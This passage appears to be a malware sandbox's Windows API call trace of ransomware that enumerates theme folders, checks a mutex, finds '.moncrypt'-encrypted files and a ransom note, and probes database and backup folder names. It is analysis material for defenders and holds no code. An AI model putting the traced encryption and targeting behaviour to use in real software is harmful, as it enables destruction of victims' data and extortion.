hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb59ad00, ftCreationTime.dwHighDateTime=0x1c4d794, ftLastAccessTime.dwLowDateTime=0x5f729350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb59ad00, ftLastWriteTime.dwHighDateTime=0x1c4d794, nFileSizeHigh=0x0, nFileSizeLow=0x216, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.INF", cAlternateFileName="")) returned 1 [0050.626] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.626] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.627] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.627] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.627] GlobalUnlock (hMem=0x44000c) returned 0 [0050.627] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.627] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.627] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.627] GlobalUnlock (hMem=0x44000c) returned 0 [0050.627] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.627] GlobalUnlock (hMem=0x440004) returned 0 [0050.627] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.627] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f67cbe0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3f67cbe0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f67cbe0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0050.627] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.627] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.627] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.627] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.627] GlobalUnlock (hMem=0x440004) returned 0 [0050.627] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.627] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.627] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.627] GlobalUnlock (hMem=0x440004) returned 0 [0050.627] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.627] GlobalUnlock (hMem=0x44000c) returned 0 [0050.627] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.627] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x885, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.627] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.627] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.627] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.628] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.628] GlobalUnlock (hMem=0x44000c) returned 0 [0050.628] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.628] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.628] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.628] GlobalUnlock (hMem=0x44000c) returned 0 [0050.628] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.628] GlobalUnlock (hMem=0x440004) returned 0 [0050.628] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.628] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5158, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0050.628] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.628] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.628] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.628] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.628] GlobalUnlock (hMem=0x440004) returned 0 [0050.628] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.628] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.628] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.628] GlobalUnlock (hMem=0x440004) returned 0 [0050.628] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.628] GlobalUnlock (hMem=0x44000c) returned 0 [0050.628] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.628] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5158, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0050.628] GetLastError () returned 0x12 [0050.628] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.629] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM", cAlternateFileName="")) returned 1 [0050.629] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.629] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.629] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.629] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.629] GlobalUnlock (hMem=0x44000c) returned 0 [0050.629] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.629] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.629] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.629] GlobalUnlock (hMem=0x44000c) returned 0 [0050.629] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.629] GlobalUnlock (hMem=0x440004) returned 0 [0050.629] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.629] GlobalLock (hMem=0x440004) returned 0x550170 [0050.629] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.629] GlobalUnlock (hMem=0x440004) returned 0 [0050.629] GlobalLock (hMem=0x440004) returned 0x550170 [0050.629] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.629] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.629] GlobalUnlock (hMem=0x440004) returned 0 [0050.630] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.630] GlobalUnlock (hMem=0x44000c) returned 0 [0050.630] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.630] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM", len=0x40 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM") returned 1 [0050.630] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.630] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.630] GlobalUnlock (hMem=0x44000c) returned 0 [0050.630] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.630] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.630] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.630] GlobalUnlock (hMem=0x44000c) returned 0 [0050.630] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.630] GlobalUnlock (hMem=0x440004) returned 0 [0050.630] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@싪R슾R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0050.630] GetLastError () returned 0x3 [0050.630] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\") returned 0x41 [0050.630] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0050.630] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0050.631] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@숼R企@\x18㿬Q\x181")) returned 0xffffffff [0050.631] GetLastError () returned 0x2 [0050.631] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\") returned 0x41 [0050.631] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0050.631] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0050.631] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@몤R企@\x18?T\x18;")) returned 0xffffffff [0050.632] GetLastError () returned 0x2 [0050.632] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\") returned 0x41 [0050.632] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ee8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0050.632] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0050.632] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뾴R企@\x18?T\x18D")) returned 0xffffffff [0050.632] GetLastError () returned 0x2 [0050.632] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\") returned 0x41 [0050.632] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ee8, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0050.632] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0050.633] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@숼R企@\x18몤R\x18j")) returned 0xffffffff [0050.633] GetLastError () returned 0x2 [0050.633] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\") returned 0x41 [0050.633] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0050.633] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0050.633] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@Q企@\x18?T\x18q")) returned 0xffffffff [0050.633] GetLastError () returned 0x2 [0050.633] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\") returned 0x41 [0050.634] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ee8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\몠RÐ") returned 6 [0050.634] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0050.634] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@숼R企@\x18?T\x18y")) returned 0xffffffff [0050.634] GetLastError () returned 0x2 [0050.634] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\") returned 0x41 [0050.634] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ee8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0050.634] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0050.634] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뾴R企@\x18?T\x18\x81")) returned 0xffffffff [0050.635] GetLastError () returned 0x2 [0050.635] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\") returned 0x41 [0050.635] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ee8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0050.635] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0050.635] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@Q企@\x18?T\x18\x88")) returned 0xffffffff [0050.635] GetLastError () returned 0x2 [0050.635] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\") returned 0x41 [0050.635] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ee8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0050.635] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0050.635] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@숼R企@\x18?T\x18\x8f")) returned 0xffffffff [0050.636] GetLastError () returned 0x2 [0050.636] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\") returned 0x41 [0050.636] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ee8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0050.636] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0050.636] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뾴R企@\x18?T\x18\x97")) returned 0xffffffff [0050.636] GetLastError () returned 0x2 [0050.636] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\") returned 0x41 [0050.636] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ee8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0050.636] GlobalLock (hMem=0x440004) returned 0x550170 [0050.636] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.637] GlobalUnlock (hMem=0x440004) returned 0 [0050.637] GlobalLock (hMem=0x440004) returned 0x550170 [0050.637] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.637] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.637] GlobalUnlock (hMem=0x440004) returned 0 [0050.637] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.637] GlobalUnlock (hMem=0x44000c) returned 0 [0050.637] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\") returned 0x41 [0050.637] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0050.637] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0050.637] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\") returned 0x41 [0050.637] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: 